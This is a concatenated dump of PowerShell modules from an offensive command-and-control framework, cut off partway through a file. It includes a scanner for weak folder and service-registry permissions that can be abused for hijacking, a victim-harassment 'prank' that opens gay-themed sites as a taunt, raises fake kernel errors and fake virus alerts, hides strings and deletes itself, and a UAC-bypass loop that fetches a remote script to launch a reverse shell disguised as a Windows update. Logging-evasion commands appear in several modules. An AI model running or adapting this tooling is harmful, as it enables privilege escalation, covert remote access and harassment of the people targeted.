https://github.com/r00t-3xp10it/meterpeter/blob/master/mimiRatz/ACLMitreT1574.ps1
#>
[CmdletBinding(PositionalBinding=$false)] param(
[string]$extraGroup="false",
[string]$extraperm="false",
[string]$logfile="false",
[string]$Action="dir",
[string]$Scan="false",
[string]$Egg="false",
[string]$Verb="false"
)
$Count = 0 #VulnId Counter
$ScanStartTimer = (Get-Date)
$CmdletVersion = "v2.5.11" #CmdLet version
#Disable Powershell Command Logging for current session.
Set-PSReadlineOption –HistorySaveStyle SaveNothing|Out-Null
$host.UI.RawUI.WindowTitle = "@ACLMitreT1574 $CmdletVersion {SSA@RedTeam}"
$Rand = -join (((48..57)+(65..90)+(97..122)) * 80 |Get-Random -Count 6 |%{[char]$_})
If($Egg -ieq "false")
{
Write-Host "* Searching for weak directory permissions ..`n" -ForegroundColor Green
}
#Define the GroupName based on the language pack installed!
$LanguageSetting = ([CultureInfo]::InstalledUICulture).Name
If($LanguageSetting -iMatch '^(pt-PT)$')
{
$UserGroup = "Todos" #Default scan
$UtilGroup = "BUILTIN\\Utilizadores" #Default scan
$GroupFdx = "$Env:USERDOMAIN\\$Env:USERNAME" #Default scan - Only available with -action 'path'
$OneMorek = "NT AUTHORITY\\Utilizadores Autenticados" #extra Group Name - Only available with -extragroup 'true'
}
ElseIf($LanguageSetting -iMatch '^(fr-FR)$')
{
$UserGroup = "Tout" #Default scan
$UtilGroup = "BUILTIN\\Utilisateurs" #Default scan
$GroupFdx = "$Env:USERDOMAIN\\$Env:USERNAME" #Default scan - Only available with -action 'path'
$OneMorek = "NT AUTHORITY\\Utilisateurs authentifiés" #extra Group Name - Only available with -extragroup 'true'
}
ElseIf($LanguageSetting -iMatch '^(pl)')
{
$UserGroup = "Wszystkie" #Default scan
$UtilGroup = "BUILTIN\\użytkownicy" #Default scan
$GroupFdx = "$Env:USERDOMAIN\\$Env:USERNAME" #Default scan - Only available with -action 'path'
$OneMorek = "NT AUTHORITY\\Uwierzytelnieni użytkownicy" #extra Group Name - Only available with -extragroup 'true'
}
ElseIf($LanguageSetting -iMatch '^(in)')
{
#My Wife Language pack!
$UserGroup = "Semua" #Default scan
$UtilGroup = "BUILTIN\\Pengguna" #Default scan
$GroupFdx = "$Env:USERDOMAIN\\$Env:USERNAME" #Default scan - Only available with -action 'path'
$OneMorek = "NT AUTHORITY\\Pengguna yang Diautentikasi" #extra Group Name - Only available with -extragroup 'true'
}
ElseIf($LanguageSetting -iMatch '^(ro)')
{
$UserGroup = "Toate" #Default scan
$UtilGroup = "BUILTIN\\utilizatorii" #Default scan
$GroupFdx = "$Env:USERDOMAIN\\$Env:USERNAME" #Default scan - Only available with -action 'path'
$OneMorek = "NT AUTHORITY\\Utilizatori autentificați" #extra Group Name - Only available with -extragroup 'true'
}
Else
{
$UserGroup = "Everyone" #Default scan
$UtilGroup = "BUILTIN\\Users" #Default scan
$GroupFdx = "$Env:USERDOMAIN\\$Env:USERNAME" #Default scan - Only available with -action 'path'
$OneMorek = "NT AUTHORITY\\Authenticated Users" #extra Group Name - Only available with -extragroup 'true'
}
If($logfile -ieq "True")
{
#Create logfile on %tmp% directory if sellected by user.
echo "Logfile created by ACLMitre1574" > $Env:TMP\Mitre1574-$Rand.log
echo "Scan Start: $ScanStartTimer" >> $Env:TMP\Mitre1574-$Rand.log
echo "------------------------------------------" >> $Env:TMP\Mitre1574-$Rand.log
}
If($Action -ieq "path")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Search in environement paths for dirs with weak permissions!
.NOTES
If invoked -verb 'true' @argument then cmdlet displays all
the directory paths beeing scanned in realtime (more_slow)
If invoked -extraperm 'true' @argument then cmdlet adds extra
permissions to the 'ACL_Permissions_List' (permission: Write)
If invoked -extraGroup 'true' @argument then cmdlet adds one
extra Group Name to the 'Group_Names_To_Scan_List' : 'Everyone,
BUILTIN\Users, DOMAIN\UserName, NT AUTHORITY\Authenticated Users'
#>
#ACL Permissions List
$DirectoryPermission = @(
"FullControl","Modify"
)
If($extraperm -ieq "True")
{
#-extraperm 'true' add 'Write' permission
$DirectoryPermission += "Write"
}
If($extraGroup -ieq "True")
{
#Add extra Group Name if invoked -extragroup 'string' param
$FinalGroupList = "$UserGroup|$UtilGroup|$GroupFdx|$OneMorek"
}
Else
{
$FinalGroupList = "$UserGroup|$UtilGroup|$GroupFdx"
}
#Get Environement Paths and split(';') each catched path.
$EnvironementPaths = ($Env:Path).Split(';') | ? {$_ -ne ''}
$NewCounter = 0 #Group Name Id
#Loop trough all '$Environement' catched paths.
ForEach($TokenPath in $EnvironementPaths)
{
#Loop trough all 'ACL Permissions List' Items
ForEach($ACLPermission in $DirectoryPermission)
{
If($Verb -ieq "True")
{
$NewCounter++
#Display OnScreen directory paths beeing scanned in realtime
Write-Host "[VERBOSE] Scanning: " -ForegroundColor Blue -BackgroundColor Black -NoNewLine;
Write-Host "$TokenPath" -ForegroundColor Green -BackgroundColor Black;
write-host "[VERBOSE] Identity: " -ForegroundColor Blue -BackgroundColor Black -NoNewLine;
write-host "[$NewCounter] $FinalGroupList" -ForegroundColor DarkGray -BackgroundColor Black -NoNewLine;
Write-Host " - Permission " -ForegroundColor Blue -BackgroundColor Black -NoNewLine;
Write-Host "$ACLPermission" -ForegroundColor DarkGray -BackgroundColor Black -NoNewLine;
Write-Host "." -ForegroundColor Blue -BackgroundColor Black;
Start-Sleep -Milliseconds 100
}
#Get directory ACL settings
$IsInHerit = (Get-Acl "$TokenPath").Access.IsInherited | Select-Object -First 1
(Get-Acl "$TokenPath").Access | Where-Object {#Search for Everyone:(F) \ Everyone:(M) directory permissions (default)
$CleanOutput = $_.FileSystemRights -Match "$ACLPermission" -and $_.IdentityReference -iMatch "^($FinalGroupList)$" ## pt-PT = Todos
If($CleanOutput)
{
If($Verb -ieq "True"){Write-Host ""}
$Count++ #Write the Table 'IF' found any vulnerable permissions
Write-Host "VulnId : ${Count}::ACL (Mitre T1574)"
Write-Host "FolderPath : $TokenPath" -ForegroundColor Green -BackgroundColor Black
Write-Host "FileSystemRights : $ACLPermission" -ForegroundColor yellow
Write-Host "IdentityReference :"$_.IdentityReference.ToString()
Write-Host "IsInherited : $IsInHerit`n"
If($logfile -ieq "True")
{
$MyReference = $_.IdentityReference.ToString()
echo "VulnId : ${Count}::ACL (Mitre T1574)" >> $Env:TMP\Mitre1574-$Rand.log
echo "FolderPath : $TokenPath" >> $Env:TMP\Mitre1574-$Rand.log
echo "FileSystemRights : $ACLPermission" >> $Env:TMP\Mitre1574-$Rand.log
echo "IdentityReference : $MyReference" >> $Env:TMP\Mitre1574-$Rand.log
echo "IsInherited : $IsInHerit`n" >> $Env:TMP\Mitre1574-$Rand.log
}
}##End of Table
}## End of Get-Acl loop
}##End of the 2º ForEach()
}##End of the 1º ForEach()
If($Count -eq 0)
{
Write-Host "[ ERROR ] none permissions found that match the search criteria." -ForegroundColor Red -BackgroundColor Black
Write-Host ""
}
}
If($Action -ieq "dir")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Search in Pre-Defined paths (recursive) for dirs with weak permissions!
.NOTES
If invoked -verb 'true' @argument then cmdlet displays all
the directory paths beeing scanned in realtime (more_slow)
If invoked -extraperm 'true' @argument then cmdlet adds extra
permissions to the 'ACL_Permissions_List' (permission: Write)
Remark: extraperm parameter takes a long time to finish ..
If invoked -extraGroup 'true' @argument then cmdlet adds one
extra Group Name to the 'Group_Names_To_Scan_List' : 'Everyone,
BUILTIN\Users, NT AUTHORITY\Authenticated Users' Group Names
Parameter -scan 'string' scans recursive the inputed
directory, excluding all pre-defined 'Directorys_To_Scan_List'
#>
#ACL Permissions List
$DirectoryPermission = @(
"FullControl","Modify"
)
If($extraperm -ieq "True")
{
#-extraperm 'true' add 'Write' permission
$DirectoryPermission += "Write"
}
If($extraGroup -ieq "True")
{
#Add extra Group Name if invoked -extragroup 'string' param
$FinalGroupList = "$UserGroup|$UtilGroup|$OneMorek"
}
Else
{
$FinalGroupList = "$UserGroup|$UtilGroup"
}
If($scan -ne "false")
{
#Make sure User directory input exists
If(-not(Test-Path -Path "$scan" -EA SilentlyContinue))
{
$Verb = "True"
If(-not($DirectoryPermission.Contains('Write'))){$DirectoryPermission += "Write"}
Write-Host "* ERROR: directory not found: '$scan'" -ForegroundColor Red -BackgroundColor Black
Write-Host " => DEMO: Setting scan to 'Crypto\RSA\MachineKeys'..`n" -ForegroundColor Yellow;Start-Sleep -Seconds 2
$RawDataBaseList = Get-ChildItem -Path "$Env:WINDIR\System32\Microsoft\Crypto\RSA" -Recurse -ErrorAction SilentlyContinue -Force | Where-Object {
$_.PSIsContainer -and $_.FullName -iNotMatch '(.DLL|.EXE)$' } | Select-Object -ExpandProperty FullName
}
Else
{
#Inputed directory path found [ -scan 'string' ] ..
#Directorys to search recursive: The directory tree inputed by user!
$RawDataBaseList = Get-ChildItem -Path "$scan" -Recurse -ErrorAction SilentlyContinue -Force | Where-Object {
$_.PSIsContainer -and $_.FullName -iNotMatch '(.DLL|.EXE)$' } | Select-Object -ExpandProperty FullName
}
}
Else
{
#Default directory scans
#Directorys to search recursive: $Env:PROGRAMFILES, ${Env:PROGRAMFILES(x86)}, $Env:LOCALAPPDATA\Programs
$RawDataBaseList = Get-ChildItem -Path "$Env:PROGRAMFILES", "${Env:PROGRAMFILES(x86)}", "$Env:LOCALAPPDATA\Programs" -Recurse -ErrorAction SilentlyContinue -Force | Where-Object {
$_.PSIsContainer -and $_.FullName -iNotMatch '(.DLL|.EXE)$' } | Select-Object -ExpandProperty FullName
#Adding extra values to database ^_^ ..
$RawDataBaseList += "$Env:WINDIR\tracing"
$RawDataBaseList += "$Env:WINDIR\System32\Tasks"
$RawDataBaseList += "$Env:WINDIR\System32\Tasks_Migrated"
$RawDataBaseList += "$Env:WINDIR\System32\Microsoft\Crypto\RSA\MachineKeys"
}
$NewCounter = 0 #Group Name Id
#Loop trough all ChildItem catched paths
ForEach($TokenPath in $RawDataBaseList)
{
#Exclude 'WindowsApps' from scans
If(-not($TokenPath -Match 'WindowsApps'))
{
#Loop trough all 'ACL Permissions List' Items
ForEach($ACLPermission in $DirectoryPermission)
{
If($Verb -ieq "True")
{
$NewCounter++
#Display OnScreen directory paths beeing scanned in realtime
Write-Host "[VERBOSE] Scanning: " -ForegroundColor Blue -BackgroundColor Black -NoNewLine;
Write-Host "$TokenPath" -ForegroundColor Green -BackgroundColor Black;
write-host "[VERBOSE] Identity: " -ForegroundColor Blue -BackgroundColor Black -NoNewLine;
write-host "[$NewCounter] $FinalGroupList" -ForegroundColor DarkGray -BackgroundColor Black -NoNewLine;
Write-Host " - Permission " -ForegroundColor Blue -BackgroundColor Black -NoNewLine;
Write-Host "$ACLPermission" -ForegroundColor DarkGray -BackgroundColor Black -NoNewLine;
Write-Host "." -ForegroundColor Blue -BackgroundColor Black;
Start-Sleep -Milliseconds 100
}
#Get directory ACL settings
$IsInHerit = (Get-Acl "$TokenPath").Access.IsInherited | Select-Object -First 1
(Get-Acl "$TokenPath").Access | Where-Object {#Search for Everyone:(F) \ Everyone:(M) directory permissions (default)
$CleanOutput = $_.FileSystemRights -Match "$ACLPermission" -and $_.IdentityReference -iMatch "^($FinalGroupList)$" ## pt-PT = Todos
If($CleanOutput)
{
If($Verb -ieq "True"){Write-Host ""}
$Count++ #Write the Table 'IF' found any vulnerable permissions
Write-Host "VulnId : ${Count}::ACL (Mitre T1574)"
Write-Host "FolderPath : $TokenPath" -ForegroundColor Green -BackgroundColor Black
Write-Host "FileSystemRights : $ACLPermission" -ForegroundColor yellow
Write-Host "IdentityReference :"$_.IdentityReference.ToString()
Write-Host "IsInherited : $IsInHerit`n"
If($logfile -ieq "True")
{
$MyReference = $_.IdentityReference.ToString()
echo "VulnId : ${Count}::ACL (Mitre T1574)" >> $Env:TMP\Mitre1574-$Rand.log
echo "FolderPath : $TokenPath" >> $Env:TMP\Mitre1574-$Rand.log
echo "FileSystemRights : $ACLPermission" >> $Env:TMP\Mitre1574-$Rand.log
echo "IdentityReference : $MyReference" >> $Env:TMP\Mitre1574-$Rand.log
echo "IsInherited : $IsInHerit`n" >> $Env:TMP\Mitre1574-$Rand.log
}
}##End of Table
}## End of Get-Acl loop
}##End of 2º ForEach() loop
}## End of Exclude WindowsApps
}## End of the 1º ForEach() loop
If($Count -eq 0)
{
Write-Host "[ ERROR ] none permissions found that match the search criteria." -ForegroundColor Red -BackgroundColor Black
Write-Host ""
}
}
If($Action -ieq "reg")
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Search in registry for services with weak permissions!
.NOTES
If invoked -verb 'true' @argument then cmdlet displays all
the directory paths beeing scanned in realtime (more_slow)
If invoked -extraGroup 'true' @argument then cmdlet adds
two extra Group Names to the 'Group_Names_To_Scan_List':
'Everyone, BUILTIN\Users, NT AUTHORITY\Authenticated Users'
#>
#ACL Group Names List
$Count = 0 #RegKeysCounter
$NewCounter = 0 #Group Name Id
$WeakPerm = @("FullControl")
If($extraGroup -ieq "False")
{
#Defaul Group Name List
$FinalGroupList = "$UserGroup"
}
Else
{
$FinalGroupList = @(#Add 2 extra Group Names to List
"$UserGroup","$UtilGroup","$OneMorek"
)
}
## Get ALL services under HKLM hive key
$GetPath = (Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\services\*" -EA SilentlyContinue).PSPath
$ParseData = $GetPath -replace 'Microsoft.PowerShell.Core\\Registry::HKEY_LOCAL_MACHINE\\','HKLM:\'
ForEach($Token in $ParseData)
{
#Loop trough all 'Group Names List' Items
ForEach($GroupServiceName in $FinalGroupList)
{
## Loop trough $FinalGroupList services database
$IsInHerit = (Get-Acl -Path "$Token").Access.IsInherited | Select -First 1
$CleanOutput = (Get-Acl -Path "$Token").Access | Select-Object * | Where-Object {## Search for Everyone:(F) registry service permissions (default)
$_.IdentityReference -Match "^($GroupServiceName)" -and $_.RegistryRights -Match "^($WeakPerm)"
}
If($Verb -ieq "True")
{
$NewCounter++
#Display OnScreen registry keys beeing scanned in realtime
Write-Host "[VERBOSE] Scanning: " -ForegroundColor Blue -BackgroundColor Black -NoNewLine;
Write-Host "$Token" -ForegroundColor Green -BackgroundColor Black;
write-host "[VERBOSE] Identity: " -ForegroundColor Blue -BackgroundColor Black -NoNewLine;
write-host "[$NewCounter] $GroupServiceName" -ForegroundColor DarkGray -BackgroundColor Black -NoNewLine;
Write-Host " - Permission " -ForegroundColor Blue -BackgroundColor Black -NoNewLine;
Write-Host "$WeakPerm" -ForegroundColor DarkGray -BackgroundColor Black -NoNewLine;
Write-Host "." -ForegroundColor Blue -BackgroundColor Black;
Start-Sleep -Milliseconds 100
}
If($CleanOutput)
{
If($Verb -ieq "True"){Write-Host ""}
$Count++ ## Write the Table 'IF' found any vulnerable permissions
Write-Host "VulnId : ${Count}::SRV"
Write-Host "RegistryPath : $Token" -ForegroundColor Yellow
Write-Host "IdentityReference : $GroupServiceName"
Write-Host "RegistryRights : $WeakPerm"
Write-Host "AccessControlType : Allow -"$CleanOutput.AccessControlType
Write-Host "IsInherited : $IsInHerit`n"
If($logfile -ieq "True")
{
echo "VulnId : ${Count}::SRV" >> $Env:TMP\Mitre1574-$Rand.log
echo "RegistryPath : $Token" >> $Env:TMP\Mitre1574-$Rand.log
echo "IdentityReference : $GroupServiceName" >> $Env:TMP\Mitre1574-$Rand.log
echo "RegistryRights : $WeakPerm" >> $Env:TMP\Mitre1574-$Rand.log
echo "AccessControlType : Allow" >> $Env:TMP\Mitre1574-$Rand.log
echo "IsInherited : $IsInHerit`n" >> $Env:TMP\Mitre1574-$Rand.log
}
}##End of cleanoutput
}##End of 2º ForEach()
}##End of 1º ForEach()
#Report that we have fail to find any permissions.
If($Count -eq 0 -or $Count -ieq $null)
{
$parseData = ($FinalGroupList -split ' ').Count
If($parseData -gt 1)
{
Write-Host "[REG] None registry services found with FullControl:(F)" -ForegroundColor Red
Write-Host "[ACL] Group: '$OneMorek'"
Write-Host "[ACL] Group: '$UtilGroup'"
Write-Host "[ACL] Group: '$UserGroup'"
}
Else
{
Write-Host "[REG] None services found with ${UserGroup}:(F)"
}
Write-Host ""
If($logfile -ieq "True")
{
echo "[REG] none services found with FullControl:(F) permissions." >> $Env:TMP\Mitre1574-$Rand.log
echo "[REG] Groups: '${FinalGroupList}'" >> $Env:TMP\Mitre1574-$Rand.log
}
}
}
#Internal CmdLet Clock Timmer
If($Verb -ieq "True"){Write-Host ""}
$ElapsTime = $(Get-Date) - $ScanStartTimer
If($scan -ne "false"){$Action = "user_selection"}
$TotalTime = "{0:HH:mm:ss}" -f ([datetime]$ElapsTime.Ticks) #Count the diferense between 'start|end' scan duration!
Write-Host "`* ElapsedTime:" -ForegroundColor Blue -BackgroundColor Black -NoNewline;
Write-Host "$TotalTime" -ForegroundColor Green -BackgroundColor Black -NoNewline;
Write-Host " - scantype:" -ForegroundColor Blue -BackgroundColor Black -NoNewline;
Write-Host "$Action" -ForegroundColor Green -BackgroundColor Black;
If($logfile -ieq "True")
{
Write-Host "* logfile: " -ForegroundColor Blue -BackgroundColor Black -NoNewline;
Write-Host "'$Env:TMP\Mitre1574-$Rand.log'" -ForegroundColor Green -BackgroundColor Black;
}
================================================
FILE: mimiRatz/C2Prank.ps1
================================================
<#
.SYNOPSIS
Powershell Fake [B]SO`D Prank
Author: @r00t-3xp10it (ssa redteam)
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: IWR, Media.SoundPlayer {native}
Optional Dependencies: Critical.wav {auto-download}
PS cmdlet Dev version: v1.2.13
.DESCRIPTION
Auxiliary module of Meterpeter C2 v2.10.14 that executes a prank in background.
The prank consists in spawning diferent Gay websites on target default browser,
spawn cmd terminal consoles pretending to be a kernel error while executing an
sfx sound effect. It also spawns multiple windows system applications.
.NOTES
If not declared -wavefile 'file.wav' then cmdlet downloads the main sfx
sound effect to be played in background loop. If declared then cmdlet uses
file.wav as main sfx sound effect. However the Parameter declaration only
accepts file.wav formats ( SoundPlayer File Format Restriction )
.Parameter MaxInteractions
How many times to loop (default: 20)
.Parameter DelayTime
The delay time between each loop (default: 20)
.Parameter WaveFile
Accepts the main sfx effect file (default: Critical.wav)
.Parameter PreventB`SO`D
Prevent the prank from BS`O`D target? (default: true)
.EXAMPLE
PS C:\> .\C2Prank.ps1
Loops for 20 times max
.EXAMPLE
PS C:\> .\C2Prank.ps1 -MaxInteractions '8'
Loops for 8 times max with 20 seconds delay
.EXAMPLE
PS C:\> .\C2Prank.ps1 -DelayTime '2'
Loops for 20 times max with 2 seconds delay
.EXAMPLE
PS C:\> .\C2Prank.ps1 -delaytime '60' -wavefile 'alert.wav'
Loops for 20 times with 60 seconds of delay + alert.wav as sfx
.INPUTS
None. You cannot pipe objects into C2Prank.ps1
.OUTPUTS
* Powershell Fake B`SOD Prank
=> Download 'Critical error' sfx sound effect
* maxinteractions: 20 with: 30 (seconds)
.LINK
https://github.com/r00t-3xp10it/meterpeter
#>
[CmdletBinding(PositionalBinding=$false)] param(
[string]$WaveFile="Critical.wav",
[string]$PreventBSOD="true",
[int]$MaxInteractions='20',
[int]$DelayTime='20'
)
## Global variable declarations
$ErrorActionPreference = "SilentlyContinue"
[int]$FinalSfx = $MaxInteractions -1 ## Set the last interaction!
write-host "* Powershell Fake BS`OD Prank" -ForegroundColor Green
$LasLink = "https://www.travelgay.pt/destination/gay-portugal/gay-lisbon"
$UrlLink = "https://www.travelgay.com/destination/gay-portugal/gay-lisbon"
$UriLink = "https://theculturetrip.com/europe/portugal/lisbon/articles/the-top-10-lgbt-clubs-and-bars-in-lisbon"
#Download sound sfx files from my github repository
If($WaveFile -ieq "Critical.wav" -or $WaveFile -iNotMatch '(.wav)$')
{
If($WaveFile -iNotMatch '(.wav)$')
{
$WaveFile = "Critical.wav"
write-host "x" -ForegroundColor Red -NoNewline;
write-host " error: Cmdlet only accepts .wav formats .." -ForegroundColor DarkGray
write-host " => Using default cmdlet sfx sound effect .." -ForegroundColor DarkYellow
Start-Sleep -Seconds 1
}
## Download 'Critical error' windows sound effect
write-host " => Download 'Critical error' sfx sound effect" -ForegroundColor DarkYellow
iwr -uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/theme/Critical.wav" -outfile "Critical.wav"|Unblock-File
}
If($PreventBSOD -ieq "true")
{
If($MaxInteractions -gt 200)
{
$DelayTime = "10"
[int]$MaxInteractions = 100
write-host "x" -ForegroundColor Red -NoNewline
write-host " Error: current -maxinteractions parameter will cause BS`OD .." -ForegroundColor DarkGray
write-host " => Defaulting -maxinteractions arg to '$MaxInteractions' interactions .." -ForegroundColor DarkYellow
}
}
## lOOP Function
$PlayWav = New-Object System.Media.SoundPlayer
write-host "* maxinteractions: $MaxInteractions with: $DelayTime (seconds)" -ForegroundColor Green
For($i=1; $i -lt $MaxInteractions; $i++)
{
#Delay time before playing sfx
Start-Sleep -Seconds $DelayTime
If($i -Match '^(1|3|5|7|9|11|13|15|17|19|21|23|25|27|29|30|40|50|60|70|80|90|97|98|99|100)$')
{
#Open Gay website on default browser and play sfx sound
Start-Process -WindowStyle Maximized "$UrlLink"|Out-Null
$PlayWav.SoundLocation = "$WaveFile"
$PlayWav.playsync();
}
ElseIf($i -Match '^(2|4|6|8|10|12|14|16|18|20|22|24|26|28|30|40|50|60|70|80|90|97|98|99|100)$')
{
#Open Gay website on default browser and play sfx sound
Start-Process -WindowStyle Maximized "$UriLink"|Out-Null
$PlayWav.SoundLocation = "$WaveFile"
$PlayWav.playsync();
}
ElseIf($i -Match '^(7|9|12|15|18|21|24|27|30|40|43|47|50|60|62|64|68|70|80|90|97|98|99|100)$')
{
#Open Gay website on default browser and play sfx sound
Start-Process -WindowStyle Maximized "$LasLink"|Out-Null
$PlayWav.SoundLocation = "$WaveFile"
$PlayWav.playsync();
}
$MsgBoxTitle = "KERNEL WARNNING 00xf340d0.421"
$MsgBoxText = "Kernel: Critical Error 00xf340d0.421 Memory Corruption!"
#Spawn cmd terminal console and make it look like one kernel error as ocurr
Start-Process cmd.exe -argumentlist "/R color 90&title $MsgBoxTitle&echo $MsgBoxText&Pause"
## Check Operative system version [BallonTip]
If(([System.Environment]::OSVersion.Version.Major) -match '^(7|8|8.1|10)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Display a ballontip in notification area
#>
Add-Type -AssemblyName System.Windows.Forms
$GlobalShit = "£N@e£w-O@bj£ec@t S@y£st£e@m.W@in£do@w£s.F£o@rm@s.N@ot£i@fyI@co@n£" -replace '(@|£)',''
$global:balmsg = $GlobalShit|&('XeX' -replace '^(X)','i')
$path = (Get-Process -id $pid).Path
## Build ballon box
$balmsg.Icon = [System.Drawing.Icon]::ExtractAssociatedIcon($path)
$balmsg.BalloonTipIcon = [System.Windows.Forms.ToolTipIcon]::Warning
$balmsg.BalloonTipText = "A virus has detected in $Env:COMPUTERNAME"
$balmsg.BalloonTipTitle = "Attention $Env:USERNAME"
$balmsg.Visible = $true
$balmsg.ShowBalloonTip(20000)
}
Start-Sleep -Seconds 1
Start $Env:PROGRAMFILES
If($i -Match '^(3|7|12|13|15|16|18|20|23|27|30|32|33|40|50|60|70|80|90|97|98|99|100)$')
{
$HexProcessName = $null
## Open drive manager [HEX obfuscated]
$DeObfuscate = '64 69 73 6B 6D 67 6D 74 2E 6D 73 63'.Split(" ")|ForEach{[char]([convert]::toint16($_,16))}|ForEach{$HexProcessName=$HexProcessName+$_}
Start-Process $HexProcessName
}
ElseIf($i -Match '^(5|9|14|17|18|19|20|21|25|29|30|40|50|60|70|80|90|97|98|99|100)$')
{
$HexProcessName = $null
#Open firewall manager [HEX obfuscated]
$DeObfuscate = '66 69 72 65 77 61 6C 6C 2E 63 70 6C'.Split(" ")|ForEach{[char]([convert]::toint16($_,16))}|ForEach{$HexProcessName=$HexProcessName+$_}
Start-Process $HexProcessName
}
ElseIf($i -Match '^(6|8|9|11|13|15|17|19|20|22|23|24|30|40|50|60|70|80|90|97|98|99|100)$')
{
$HexProcessName = $null
#Open programs manager [HEX obfuscated]
$DeObfuscate = '61 70 70 77 69 7A 2E 63 70 6C'.Split(" ")|ForEach{[char]([convert]::toint16($_,16))}|ForEach{$HexProcessName=$HexProcessName+$_}
Start-Process $HexProcessName
}
ElseIf($i -Match "^($FinalSfx)$")
{
#Play final sfx sound {Critical error}
$PlayWav.SoundLocation = "$WaveFile"
$PlayWav.playsync();
}
#Spawn cmd terminal console and make it look like one kernel error as ocurr
Start-Process cmd.exe -argumentlist "/R color C0&title $MsgBoxTitle&echo $MsgBoxText&Pause"
}
Start-Sleep -Seconds 1
#Clean artifacts left behind
Remove-Item -Path "$WaveFile" -Force
Remove-Item -Path "$pwd\hensandrooster.wav" -Force
#Spawn alert message box at loop completed
powershell (New-Object -ComObject Wscript.Shell).Popup("$MsgBoxText",0,"$MsgBoxTitle",0+64)|Out-Null
#Auto Delete this cmdlet in the end ...
Remove-Item -LiteralPath $MyInvocation.MyCommand.Path -Force
================================================
FILE: mimiRatz/CMSTPTrigger.ps1
================================================
<#
.SYNOPSIS
CmdLet to loop UACBypassCMSTP.ps1 execution!
Author: @r00t-3xp10it
Tested Under: Windows 10 (19043) x64 bits
Required Dependencies: UACBypassCMSTP.ps1 {auto}
Optional Dependencies: none
PS cmdlet Dev version: v1.1.5
.DESCRIPTION
This cmdlet its a module of @Meterpeter C2 v2.10.11.15 release, that allow
meterpeter users to elevate session shell privileges from UserLand to Admin.
.NOTES
By default it downloads\executes 'UACBypassCMSTP.ps1' from %TMP% directory,
that for is turn executes the reverse tcp shell ( only PS1 scripts ) from
sellected location. That location can be set using -RatLocation parameter.
.Parameter DelayTime
Seconds to delay UACBypassCMSTP.ps1 execution (default: 30)
.Parameter LoopFor
How Many times do we execute the loop function? (default: 2)
.Parameter RatLocation
Path of script to exec (default: $Env:TMP\Update-KB5005101.ps1)
.EXAMPLE
PS C:\> .\CMSTPTrigger.ps1 -DelayTime "60"
Execute 'UACBypassCMSTP.ps1' after 60 seconds.
.EXAMPLE
PS C:\> .\CMSTPTrigger.ps1 -DelayTime "60" -LoopFor "5"
Execute UACBypassCMSTP.ps1 at each '60' seconds, a max of '5' times.
.EXAMPLE
PS C:\> .\CMSTPTrigger.ps1 -DelayTime "10" -LoopFor "3" -RatLocation "$Env:USERPROFILE\Desktop\rat.ps1"
Execute UACBypassCMSTP.ps1 at each '10' seconds that exec -RatLocation ', a max of '3' times.
.OUTPUTS
* Elevate session from UserLand to Administrator!
=> Download: UACBypassCMSTP from GitHub into %TMP% ..
MaxExec DelayTime RatLocation
------- --------- -------------
2 30(sec) C:\Users\pedro\AppData\Local\Temp\Update-KB5005101.ps1
* Exit @meterpeter and start a new handler to recive the elevated shell.
=> Remenber: To manual delete artifacts from 'TMP' dir after escalation.
.LINK
https://oddvar.moe/2017/08/15/research-on-cmstp-exe
https://github.com/r00t-3xp10it/redpill/blob/main/bypass/UACBypassCMSTP.ps1
https://github.com/r00t-3xp10it/meterpeter/blob/master/mimiRatz/CMSTPTrigger.ps1
#>
[CmdletBinding(PositionalBinding=$false)] param(
[string]$RatLocation="False",
[int]$DelayTime="30",
[int]$LoopFor="2"
)
$TryFor = $LoopFor+1
$FailedExecution = "False"
$GostavasDeSaber = "@m_tp"
$ErrorActionPreference = "SilentlyContinue"
#Disable Powershell Command Logging for current session.
Set-PSReadlineOption –HistorySaveStyle SaveNothing|Out-Null
$NoStringsForYou = ($GostavasDeSaber).Replace("@","c").Replace("_","s")
Write-Host "* Elevate session from UserLand to Administrator!" -ForegroundColor Green
If(-not(Test-Path -Path "$Env:TMP\UACBypassCMSTP.ps1"))
{
#Download CmdLet from my GitHub repository into %tmp% directory.
Write-Host " => Downloading: UACBypassCMSTP from GitHub into %TMP% .." -ForeGroundColor Blue
iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/bypass/UACBypassCMSTP.ps1" -OutFile "$Env:TMP\UACBypassCMSTP.ps1"|Out-Null
}
If($RatLocation -ne "False")
{
If($RatLocation -iNotMatch '(.ps1)$')
{
$RatLocation = "$Env:TMP\Update-KB5005101.ps1"
Write-Host " => Error: This function only accepts .PS1 scripts .." -ForegroundColor Red -BackgroundColor Black
Write-Host " => Using default value: `$Env:TMP\Update-KB5005101.ps1`n" -ForegroundColor Blue
}
Else
{
#Replace RatLocation on UACBypassCMSTP cmdlet?
((Get-Content -Path "$Env:TMP\UACBypassCMSTP.ps1" -Raw) -Replace '\$Env:TMP\\Update-KB5005101.ps1',"$RatLocation")|Set-Content -Path "$Env:TMP\UACBypassCMSTP.ps1"
}
}
Else
{
#Use default RatLocation Parameter declaration.
$RatLocation = "$Env:TMP\Update-KB5005101.ps1"
}
for($i=1; $i -lt $TryFor; $i++)
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - For() function to loop for sellected amount of times.
.NOTES
The UACBypassCMSTP.ps1 CmdLet executes Update-KB50005101.ps1
reverse tcp shell each time that loops, with sellected time delay.
CmdLet will check cm`stp process state and CorpVpn network adapter
profile, before each loop exec to prevent adapter gui from pop up.
#>
try{
Start-Sleep -Seconds $DelayTime
#Make sure cms`tp process its not runing!
If((Get-Process -Name $NoStringsForYou -EA silentlycontinue).Responding -Match '^(True)$')
{
Stop-Process -Name $NoStringsForYou -Force
Start-Sleep -Milliseconds 1500
}
#Make sure CorpVpn network adapter profile its not active!
$CorpVpnAdapterState = Get-NetAdapter | ? { $_.Name -like "*CorpVpn*" }
If(-not($CorpVpnAdapterState) -or $CorpVpnAdapterState -ieq $null)
{
#Make sure we dont have a session allready open before exec EOP again!
$readLog = Get-Content -Path "$Env:TMP\EOPsettings.log" -EA SilentlyContinue
If(-not($readLog) -or $readLog -ieq $null)
{
$ShellConnection = $null
}
Else
{
